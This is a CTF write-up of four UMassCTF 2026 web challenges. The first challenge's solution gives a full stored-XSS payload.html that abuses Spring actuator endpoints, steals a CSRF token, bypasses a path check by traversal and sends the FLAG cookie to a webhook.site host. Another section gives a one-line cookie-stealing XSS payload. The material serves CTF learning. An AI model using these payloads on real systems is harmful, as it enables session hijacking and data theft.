UMass CTF 2026 - Web Writeup

18 minute read

Hello everyone, today’s writeup is for UMassCTF 2026, covering some web challenges, so let’s get started.

The Block City Times

The_Block_City_Times

Let’s fire up the instance and see the challenge.

We can see that it is a blog website with some articles and stories in different categories.

Site_Overview

It also contains an admin login page:

Admin_Login

And a form to submit your story:

Submit_Story

As the challenge is white-box, let’s analyze its files to get the full idea and attack flow.

docker-compose.yml Analysis:

services:

  app:
    build: .
    ports:
      - "${PORT}:8080"
    environment:
      ADMIN_USERNAME: ${ADMIN_USERNAME:-admin}
      ADMIN_PASSWORD: ${ADMIN_PASSWORD:-changed_on_remote}
      APP_OUTBOUND_EDITORIAL_URL: "http://editorial:9000/submissions"
    networks:
      web: {}
      editorial-net:
        aliases:
          - app.internal
    depends_on:
      - editorial

  editorial:
    build: ./editorial
    environment:
      PORT: 9000
      APP_BASE_URL: "http://app.internal:8080"
      ADMIN_USERNAME: ${ADMIN_USERNAME:-admin}
      ADMIN_PASSWORD: ${ADMIN_PASSWORD:-changed_on_remote}
    networks:
      - editorial-net

  report-runner:
    build: ./developer
    environment:
      PORT: 9001
      BASE_URL: "http://app.internal:8080"
      ADMIN_USERNAME: ${ADMIN_USERNAME:-admin}
      ADMIN_PASSWORD: ${ADMIN_PASSWORD:-changed_on_remote}
      FLAG: "UMASS{changed_on_remote}"
    networks:
      web: {}
      editorial-net:
        aliases:
          - report-runner
    depends_on:
      - app

networks:
  web:
    driver: bridge
  editorial-net:
    driver: bridge
    internal: true

  • The app contains three services: app, editorial, and report-runner.

  • app is on both networks:

    • It’s the bridge between the internet and the internal network.

    • Built from the current directory (.)

    • Uses port 8080

    • This is the ONLY service you can access from your browser

    • Environment variables:

      • ADMIN_USERNAME → default: admin
      • ADMIN_PASSWORD → default: changed_on_remote
    • Communicates with editorial via http://editorial:9000/submissions
    • Connected networks:
      • web allows external access
      • editorial-net allows internal communication
  • editorial is on internal only — you can never reach it from outside.
    • Built from ./editorial

    • Cannot be accessed externally
    • No ports → cannot be accessed from browser
    • Runs on PORT=9000
    • It calls back the app using http://app.internal:8080
    • Connected networks: editorial-net
  • report-runner is on both networks.

    • Built from ./developer

    • Acts like an admin bot

    • Environment variables:

      • BASE_URL talks to app http://app.internal:8080

      • ADMIN_USERNAME / ADMIN_PASSWORD

      • FLAG = UMASS{changed_on_remote}

    • Connected networks:

      • web external network

      • editorial-net internal network

  • There are two Docker networks:

    • web for public

    • editorial-net for internal communication

    • The critical one is editorial-net, which is marked internal: true. This means no traffic can enter or leave it from the internet — only containers on that network can talk to each other.

From the analysis, we know that report-runner logs into the app as admin, and the flag is an env variable injected into report-runner.

If we deep dive into the code, we can see it is built on Java, and there is an application.yml file, so let’s analyze it.

application.yml Analysis:

spring:
  application:
    name: config-demo
  thymeleaf:
    cache: false
  servlet:
    multipart:
      max-file-size: 5MB
      max-request-size: 6MB

logging:
  level:
    org.springframework.web.servlet.DispatcherServlet: INFO
    org.springframework.boot.actuate.endpoint.web: TRACE

management:
  endpoints:
    web:
      exposure:
        include: refresh, health, info, env
  endpoint:
    health:
      show-details: always
    env:
      post:
        enabled: true
server:
  port: 8080

app:
  admin:
    username: ${ADMIN_USERNAME:admin}
    password: ${ADMIN_PASSWORD:changed_on_remote}

  upload-dir: uploads
  active-config: prod
  enforce-production: true

  outbound:
    editorial-url: "http://localhost:9000/submissions"
    report-url: "http://report-runner:9001/report"
    allowed-types:
      - text/plain
      - application/pdf

  configs:
    dev:
      greeting: "NOTICE: THE WEBSITE IS CURRENTLY RUNNING IN DEV MODE"
      environment-label: "development"
    prod:
      greeting: "BREAKING: MAN FALLS INTO RIVER IN BLOCK CITY"
      environment-label: "production"

  • The application is based on Spring Boot.

  • management: handles Spring Boot Actuator exposed endpoints:

    • /actuator/health → app status
    • /actuator/info → app info
    • /actuator/env → environment variables
    • /actuator/refresh → reload config
    • health endpoint:
      • show-details: always shows full system details (DB, disk, etc.)
    • env endpoint:
      • enabled: true allows modifying environment variables via HTTP POST
  • app:

    • Uses admin credentials same as docker-compose.yml
    • Uploaded files will be stored in the uploads directory
    • active-config: prod → App is running in production mode

    • enforce-production: true forces production rules
    • app.outbound handles internal requests:
      • App sends requests to internal service on port 9000
      • Uses report-url as http://report-runner:9001/report
      • Allows text/plain (.txt), application/pdf (.pdf)
    • app.configs tells us that there are two environment modes: dev and prod

Now let’s see how the admin deals with reports received from users through report-api.js.

report-api.js Analysis:

const puppeteer = require('puppeteer');
const fs        = require('fs');
const path      = require('path');

const BASE_URL        = process.env.BASE_URL        || 'http://localhost:8080';
const ADMIN_USERNAME  = process.env.ADMIN_USERNAME  || 'admin';
const ADMIN_PASSWORD  = process.env.ADMIN_PASSWORD  || 'changed_on_remote';
const REPORT_ENDPOINT = process.env.REPORT_ENDPOINT || '/api/config';
const FLAG            = process.env.FLAG            || 'UMASS{TEST_FLAG}';

(async () => {
  const browser = await puppeteer.launch({
    headless: 'new',
    args: ['--no-sandbox', '--disable-setuid-sandbox'],
  });

  try {
    const page = await browser.newPage();

    await page.goto(`${BASE_URL}/login`, { waitUntil: 'networkidle0' });
    await page.type('#username', ADMIN_USERNAME);
    await page.type('#password', ADMIN_PASSWORD);
    await Promise.all([
      page.waitForNavigation({ waitUntil: 'networkidle0' }),
      page.click('button[type="submit"]'),
    ]);

    if (page.url().includes('/login')) {
      console.error('Login failed.');
      process.exitCode = 1;
      return;
    }

    await page.setCookie({
      name: 'FLAG',
      value: FLAG,
    });

    const targetUrl = `${BASE_URL}${REPORT_ENDPOINT}`;
    const response  = await page.goto(targetUrl, { waitUntil: 'networkidle0' });
    const content   = await page.evaluate(() => document.body?.innerText || '');

    const status = response.status();
    console.log(JSON.stringify({
      endpoint:   targetUrl,
      timestamp:  new Date().toISOString(),
      httpStatus: status,
      isError:    status >= 400,
      content:    content.slice(0, 4000),
    }, null, 2));

  } finally {
    await browser.close();
  }
})();

  • It logs in with admin credentials.
  • It sets the flag into the admin cookie with a variable called FLAG.
  • It visits the target endpoint.
  • It extracts the page content and executes its JavaScript.

trigger-server.js Analysis:

const express    = require('express');
const { spawn }  = require('child_process');
const path       = require('path');

const PORT = process.env.PORT || 9001;
const app  = express();
app.use(express.json());

app.post('/report', (req, res) => {
  const endpoint = req.body?.endpoint || '/api/config';
  const child    = spawn('node', [path.join(__dirname, 'report-api.js')], {
    env: { ...process.env, REPORT_ENDPOINT: endpoint },
  });

  let stdout = '';
  let stderr = '';
  child.stdout.on('data', d => { stdout += d; });
  child.stderr.on('data', d => { stderr += d; });

  child.on('close', code => {
    let report = null;
    try { report = JSON.parse(stdout.trim()); } catch (_) {}
    res.json({ success: code === 0 && report !== null, report, log: stderr.trim() });
  });
});

app.listen(PORT, () => console.log(`Report trigger server on :${PORT}`));
  • The server listens on port 9001.
  • The app calls it at http://report-runner:9001/report. You cannot reach it directly; only the app can. So you need the app’s /admin/report endpoint to call it on your behalf.

  • It takes endpoint from the request body, and the default path is /api/config.
  • It runs report-api.js (explained above) and passes the environment variables.
  • It passes REPORT_ENDPOINT as your endpoint (user input).

Let’s move to the Editorial Bot analysis.

server.js Analysis:

const express   = require('express');
const puppeteer = require('puppeteer');
const path      = require('path');
const fs        = require('fs');

const PORT           = process.env.PORT           || 9000;
const APP_BASE_URL   = process.env.APP_BASE_URL   || 'http://localhost:8080';
const ADMIN_USERNAME = process.env.ADMIN_USERNAME || 'admin';
const ADMIN_PASSWORD = process.env.ADMIN_PASSWORD || 'blockworld';

async function openInBrowser(fileUrl) {
  const browser = await puppeteer.launch({
    headless: 'new',
    args: [
      '--no-sandbox',
      '--disable-setuid-sandbox',
      '--disable-features=HttpsUpgrades',
    ],
  });

  try {
    const page = await browser.newPage();
    await page.goto(`${APP_BASE_URL}/login`, { waitUntil: 'networkidle0' });
    await page.type('#username', ADMIN_USERNAME);
    await page.type('#password', ADMIN_PASSWORD);
    await Promise.all([
      page.waitForNavigation({ waitUntil: 'networkidle0' }),
      page.click('button[type="submit"]'),
    ]);

    const currentUrl = page.url();
    if (currentUrl.includes('/login')) {
      throw new Error('Login failed — still on login page after submit');
    }
    console.log("gothere")
    await page.goto(fileUrl, { waitUntil: 'networkidle0' });

    const text = await page.evaluate(() => document.body.innerHTML || '');

    return { text };
  } finally {
    await browser.close();
  }
}

const app = express();
app.use(express.json());

app.post('/submissions', async (req, res) => {
  const { title, author, description, filename } = req.body;

  if (!filename) {
    return res.status(400).json({ error: 'No filename provided.' });
  }

  res.json({ received: true, filename, title, author });

  const fileUrl = `${APP_BASE_URL}/files/${encodeURIComponent(filename)}`;

  try {
    await openInBrowser(fileUrl);
  } catch (err) {
    console.error('Puppeteer error:', err.message);
  }
});

app.listen(PORT, () => {
  console.log(`Editorial server running on http://localhost:${PORT}`);
});

  • It logs in with admin credentials.
  • /submissions route:
    • The filename field comes from the app’s story submission.
    • The app sets it when it saves the uploaded file.
    • The bot then visits /files/<filename>.
    • If the file is HTML with JavaScript, that JS runs in the bot’s browser. That JS has access to the admin session AND can make authenticated requests to the app.

Now let’s look at the controllers in the src/java folder to examine how the website works and its routes.

StoryController.java Analysis:

@PostMapping("/submit")
public String submitStory(@RequestParam String title,
                          @RequestParam String author,
                          @RequestParam String description,
                          @RequestParam MultipartFile file,
                          Model model) throws IOException {

    model.addAttribute("ticker", appProps.getActive().getGreeting());

    if (file.isEmpty()) {
        model.addAttribute("error", "No file was attached.");
        return "submit";
    }

    String contentType = file.getContentType();
    if (contentType == null || !outboundProps.getAllowedTypes().contains(contentType)) {
        model.addAttribute("error",
            "File type '" + contentType + "' is not accepted. " +
            "Please submit a plain text or PDF document.");
        return "submit";
    }

    String safe = file.getOriginalFilename().replaceAll("[^a-zA-Z0-9._-]", "_");
    String filename = UUID.randomUUID() + "-" + safe;
    Files.write(uploadDir.resolve(filename), file.getBytes());

    Map<String, String> body = Map.of(
        "title",       title,
        "author",      author,
        "description", description,
        "filename",    filename
    );

    ResponseEntity<String> response = restClient.post()
            .uri(outboundProps.getEditorialUrl())
            .contentType(MediaType.APPLICATION_JSON)
            .body(body)
            .retrieve()
            .toEntity(String.class);

    if (response.getStatusCode().is2xxSuccessful()) {
        model.addAttribute("success", true);
        model.addAttribute("submittedTitle", title);
    } else {
        model.addAttribute("error",
            "The system returned an error. Please try again later.");
    }

    return "submit";
}

@GetMapping("/files/{filename}")
public ResponseEntity<Resource> serveFile(@PathVariable String filename) throws IOException {
    Path filePath = uploadDir.resolve(filename).normalize();

    if (!filePath.startsWith(uploadDir)) {
        return ResponseEntity.badRequest().build();
    }

    Resource resource = new FileSystemResource(filePath);
    if (!resource.exists()) {
        return ResponseEntity.notFound().build();
    }

    String contentType = Files.probeContentType(filePath);
    if (contentType == null) contentType = "application/octet-stream";

    return ResponseEntity.ok()
            .contentType(MediaType.parseMediaType(contentType))
            .body(resource);
}
  • /submit route:
    • It takes four parameters: title, author, description, and file.
    • It checks if the file is empty or not.
    • It checks the file content type and whether it is in the allowed types.
    • It removes dangerous characters.
    • It generates a unique filename and stores it.
    • It sends the data to the Editorial service at /submissions.
    • Editorial service receives the filename, and the admin bot opens: /files/{filename}.
  • /files/{filename} route:
    • It adds the filename to /uploads.
    • It checks whether the file path starts with /uploads.
    • It loads the file and detects the content type.
    • The browser receives the file.

ReportController.java Analysis:

@Controller
@RequestMapping("/admin/report")
public class ReportController {

    private final AppProperties      appProps;
    private final OutboundProperties outboundProps;
    private final RestClient         restClient;
    private final ObjectMapper       objectMapper;

    public ReportController(AppProperties appProps, OutboundProperties outboundProps,
                            RestClient.Builder builder, ObjectMapper objectMapper) {
        this.appProps      = appProps;
        this.outboundProps = outboundProps;
        this.restClient    = builder.build();
        this.objectMapper  = objectMapper;
    }


    @GetMapping
    public String reportPage() {
        return "redirect:/admin";
    }

    @PostMapping
    public String reportError(@RequestParam(defaultValue = "/api/config") String endpoint,
                              Model model) {
        if (!appProps.getActiveConfig().equals("dev")) {
            return "redirect:/admin?error=reportdevonly";
        }
        if (!endpoint.startsWith("/api/")) {
            return "redirect:/admin?error=reportbadendpoint";
        }

        model.addAttribute("ticker",         appProps.getActive().getGreeting());
        model.addAttribute("activeConfig",   appProps.getActiveConfig());
        model.addAttribute("reportEndpoint", endpoint);

        try {
            String raw = restClient.post()
                    .uri(outboundProps.getReportUrl())
                    .contentType(MediaType.APPLICATION_JSON)
                    .body(Map.of("endpoint", endpoint))
                    .retrieve()
                    .body(String.class);

            JsonNode root = objectMapper.readTree(raw);
            JsonNode reportNode = root.path("report");
            model.addAttribute("reportSuccess", root.path("success").asBoolean(false));
            model.addAttribute("reportJson",    reportNode.isMissingNode() ? ""
                    : objectMapper.writerWithDefaultPrettyPrinter().writeValueAsString(reportNode));
            model.addAttribute("reportLog",     root.path("log").asText(""));

        } catch (Exception e) {
            model.addAttribute("reportSuccess", false);
            model.addAttribute("reportJson",    "");
            model.addAttribute("reportLog",     "Failed to reach diagnostic runner: " + e.getMessage());
        }

        return "admin/report";
    }
}

  • /admin/report route:
    • It only works in dev environment mode.
    • It checks if the endpoint starts with /api.
    • It calls report-runner (/report) and sends a JSON request with the endpoint.

TagController.java Analysis:

@RestController
@RequestMapping("/api/tags")
public class TagController {

    private final ArticleService articleService;

    public TagController(ArticleService articleService) {
        this.articleService = articleService;
    }

    private Set<String> sanitize(Set<String> tags) {
        return tags.stream()
                .map(HtmlUtils::htmlEscape)
                .collect(Collectors.toSet());
    }

    @GetMapping
    public ResponseEntity<Object> index(@RequestParam(required = false) String name) {
        if (name != null) {
            Set<Article> matches = articleService.findByTag(name);
            return ResponseEntity.ok(matches);
        }
        return ResponseEntity.ok(articleService.allTags());
    }

    @GetMapping("/article/{id}")
    public ResponseEntity<Object> tagsForArticle(@PathVariable String id) {
        return articleService.findById(id)
                .<ResponseEntity<Object>>map(a -> ResponseEntity.ok(sanitize(a.getTags())))
                .orElseGet(() -> ResponseEntity.notFound().build());
    }

    @PutMapping("/article/{id}")
    public ResponseEntity<Object> updateTags(@PathVariable String id,
                                             @RequestBody String[] tags) {
        if (!articleService.setTags(id, tags)) return ResponseEntity.notFound().build();
        return articleService.findById(id)
                .<ResponseEntity<Object>>map(a -> ResponseEntity.ok(sanitize(a.getTags())))
                .orElseGet(() -> ResponseEntity.notFound().build());
    }
}

  • /api/tags route:

    • It gets all tags.

    • It gets tags for a specific article.

    • It returns articles that have a specific tag.

      Tags_2

      Tags_1

    • It updates article tags and returns them sanitized.

Attack Flow

Attack_Flow

From our code analysis, we know the app accepts file uploads at POST /submit. The upload filter in StoryController.java only allows text/plain and application/pdf. But when the server serves files back, it uses Files.probeContentType(), which reads the file extension.

The Files.probeContentType() method is used to identify the MIME type of a file.

We need one file that serves two purposes: setup (when the editorial bot runs it) and exfiltration (when the report-runner bot runs it). The same file is visited by both bots, so we detect which one we are by checking for the FLAG cookie.

Branch A: fires when there is NO FLAG cookie → we are the editorial bot → do all the setup work (actuator, CSRF, trigger report-runner).

Branch B: fires when FLAG cookie IS present → we are the report-runner bot → read document.cookie and send the flag out.

So, when we upload a file, we need to keep Content-Type as text/plain, as this is what passes the server’s filter. On the server, the filter sees text/plain, which is allowed. The file is saved as <uuid>-payload.html.

When served later, Files.probeContentType() reads .html and returns text/html. The bot’s browser renders it as HTML and executes our JavaScript.

Payload_Upload

After receiving the submission, the app sends a POST request with the filename to editorial:9000/submissions. The editorial bot launches a real Chromium browser, logs in as admin, then visits /files/<uuid>-payload.html. Our JavaScript executes inside that browser with a full admin session.

The flow:

  • App calls http://editorial:9000/submissions.
  • Editorial server.js picks up the filename and builds the file URL.
  • The bot navigates to /login, types admin credentials, gets the cookie, then visits our file payload.html as text/html and executes the JavaScript.
  • Our JS now runs in a real browser with a valid admin session cookie.
  • Every fetch() call our JS makes will carry that admin JSESSIONID automatically.

We can now call any admin-only endpoint such as /admin/report.

Our JavaScript is now running inside the editorial bot’s browser with admin privileges. The /admin/report endpoint, which triggers the report-runner bot, is blocked in production mode (prod). So, we need to unlock it.

From our config analysis, we know the actuator’s env POST endpoint has no authentication and can write any config property at runtime.

The /admin/report endpoint checks if active-config equals dev before doing anything. In production, it just redirects us away. The normal UI switch (/admin/switch) is blocked by enforce-production: true. But the actuator bypasses the UI entirely and writes directly into the running app’s config memory.

So, we need to send POST /actuator/env with body { "name": "app.active-config", "value": "dev" } to change the environment. Then we should reload the Spring Boot config using /actuator/refresh.

Spring Security requires a valid CSRF token on every POST request. Without it, the server returns 403 Forbidden. Since our JS is running in the editorial bot’s browser, which has an admin session, we can fetch /admin and read the token directly from the HTML.

The /admin/report endpoint has two conditions: it must be in dev mode (which we bypassed), and the endpoint must start with /api/.

We can bypass the /api check using path traversal (../), as it does not resolve the path first. We use /api/../files/payload.html, which passes the string check but resolves to /files/payload.html when the HTTP server processes it.

Now the app calls http://report-runner:9001/report with our path-traversal endpoint. The report-runner service now spawns report-api.js, which logs into the app, sets the FLAG as a browser cookie, and visits the endpoint we specified.

report-api.js follows the same login flow as the editorial bot. But before visiting any URL, it sets the FLAG environment variable as a browser cookie. Then it visits our endpoint. Because our path traversal resolved to /files/payload.html, it visits our XSS file, but this time with the FLAG cookie present.

The hard work is done. Now, we just read document.cookie, extract the FLAG value, and send it to our server (webhook).

payload.html

<!doctype html>
<html>
<head><meta charset="utf-8"></head>
<body>
<script>
(async () => {
  try {
    const WEBHOOK = 'https://webhook.site/38ab55e4-b2ea-4b8c-bf94-18416bf67aea';

    const m = /FLAG=([^;]+)/.exec(document.cookie || '');
    if (m) {
      const flag = decodeURIComponent(m[1]);
      await fetch(WEBHOOK + '?flag=' + encodeURIComponent(flag), { mode: 'no-cors' });
      return;
    }

    await fetch('/actuator/env', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ name: 'app.active-config', value: 'dev' })
    });
    await fetch('/actuator/refresh', { method: 'POST' });

    const adminHtml = await fetch('/admin').then(r => r.text());
    const csrfMatch = adminHtml.match(/name="_csrf" value="([^"]+)"/);
    if (!csrfMatch) return;
    const csrf = csrfMatch[1];

    const filename = location.pathname.split('/').pop();
    const endpoint = `/api/../files/${filename}`;

    const body = new URLSearchParams();
    body.set('_csrf', csrf);
    body.set('endpoint', endpoint);

    await fetch('/admin/report', {
      method: 'POST',
      headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
      body: body.toString()
    });

  } catch (e) {
    fetch('https://webhook.site/38ab55e4-b2ea-4b8c-bf94-18416bf67aea?err=' + encodeURIComponent(e.message), { mode: 'no-cors' });
  }
})();
</script>
</body>
</html>

Flag

Flag: UMASS{A_mAn_h3s_f@l13N_1N_tH3_r1v3r}

Brick by Brick

Brick_by_Brick_

The first challenge is a black-box style, so let’s navigate to the link provided directly.

We can see it’s a normal page with no functionalities, so I decided to check whether robots.txt exists.

Site_Overview

We can see that robots.txt looks interesting.

robots.txt

assembly-guide

q3-report

it-onboarding.txt caught my attention as it reveals some information:

  1. The ?file= parameter indicates local file inclusion (LFI).
  2. config.php may contain sensitive data.

it-onboarding

We can see that the config.php file is publicly exposed and contains the admin dashboard endpoint with database credentials.

config

So, let’s navigate to /dashboard-admin.php and log in with administrator:administrator.

Admin_Login

And we got the flag.

Flag

Flag: UMASS{4lw4ys_ch4ng3_d3f4ult_cr3d3nt14ls}

BrOWSER BOSS FIGHT

BrOWSER_BOSS_FIGHT

When we visit the challenge website, we can see an input field to enter a key and a door we can click.

Site_Overview

When we look at the source code, we observe that whatever key we type, it will be replaced with WEAK_NON_KOOPA_KNOCK.

SourceCode

So, typing a random key and clicking on the door will redirect us to this page.

Site_Overview_2

If we look at Burp Suite, we can see an interesting Server header in the response with a hint of under_the_doormate.

password

Let’s try it as the key.

password_2

We can see that we are redirected to another page, but no flag appeared.

We can observe that there is a cookie variable called hasAxe, and its default value is false.

Site_3

If we add hasAxe: true when visiting this endpoint, we will get the flag.

Flag

Flag: UMASS{br0k3n_1n_2_b0wz3r5_c4st13}

ORDER66

ORDER66

This is a white-box challenge, so let’s check the website first to understand what it does dynamically, then move to the source code.

Site_Overview

checker

The app contains 66 boxes, and one of them is vulnerable:

Vulnerable_Code

|safe doesn’t escape characters, so there is a chance for XSS and stealing cookies.

But we need to find the vulnerable box. How?

app.py

def get_grid_context(uid, seed):
    random.seed(seed) 
    v_index = random.randint(1, 66)
    data = {i: (db.get(f"{uid}:box_{i}") or "") for i in range(1, 67)}
    return data, v_index

@app.route("/", methods=['GET', 'POST'])
def hello_world():
    if 'user_id' not in session:
        session['user_id'] = str(uuid.uuid4())
        session['seed'] = random.randint(1000, 9999)

    uid = session['user_id']

    current_seed = session.get('seed', random.randint(1000, 9999))
    _, current_vuln_index = get_grid_context(uid, current_seed)

    current_content = db.get(f"{uid}:box_{current_vuln_index}") or ""

    is_payload_present = "<script" in current_content.lower() or "alert(" in current_content.lower()

    if request.method == 'POST':
        submitted = [int(k.split('_')[1]) for k in request.form if k.startswith('box_') and request.form[k].strip()]

        if len(submitted) > 1:
            return "ERROR: Only ONE box allowed.", 400

        for i in range(1, 67):
            content = request.form.get(f'box_{i}')
            if content and i in submitted:
                db.set(f"{uid}:box_{i}", content)
                if i == current_vuln_index and ("<script" in content.lower() or "alert(" in content.lower()):
                    is_payload_present = True
            else:
                db.delete(f"{uid}:box_{i}")

    if not is_payload_present:
        session['seed'] = random.randint(1000, 9999)
    else:
        session['seed'] = current_seed 

    seed = session['seed']
    grid_data, vuln_index = get_grid_context(uid, seed)

    return render_template('index.html', vuln_index=vuln_index, grid_data=grid_data, user_id=uid, seed=seed, host=host)

Python’s random is deterministic. The same seed equals the same output every time, and the seed is exposed in the page. So we can determine the vulnerable box locally:

Vulnerable_Box_Num

If our payload is in the wrong box, the vulnerable box moves with every submission. If it’s in the right box, the seed and, therefore, the vulnerable box stay fixed permanently. So, we can send the seed URL to the admin and get the flag.

Payload: <script>fetch('https://webhook.site/YOUR-ID?c='+document.cookie)</script>

Now, let’s send the seed URL to the admin and get the flag.

admin_report

Flag

Flag: UMASS{m@7_t53_f0rce_b$_w!th_y8u}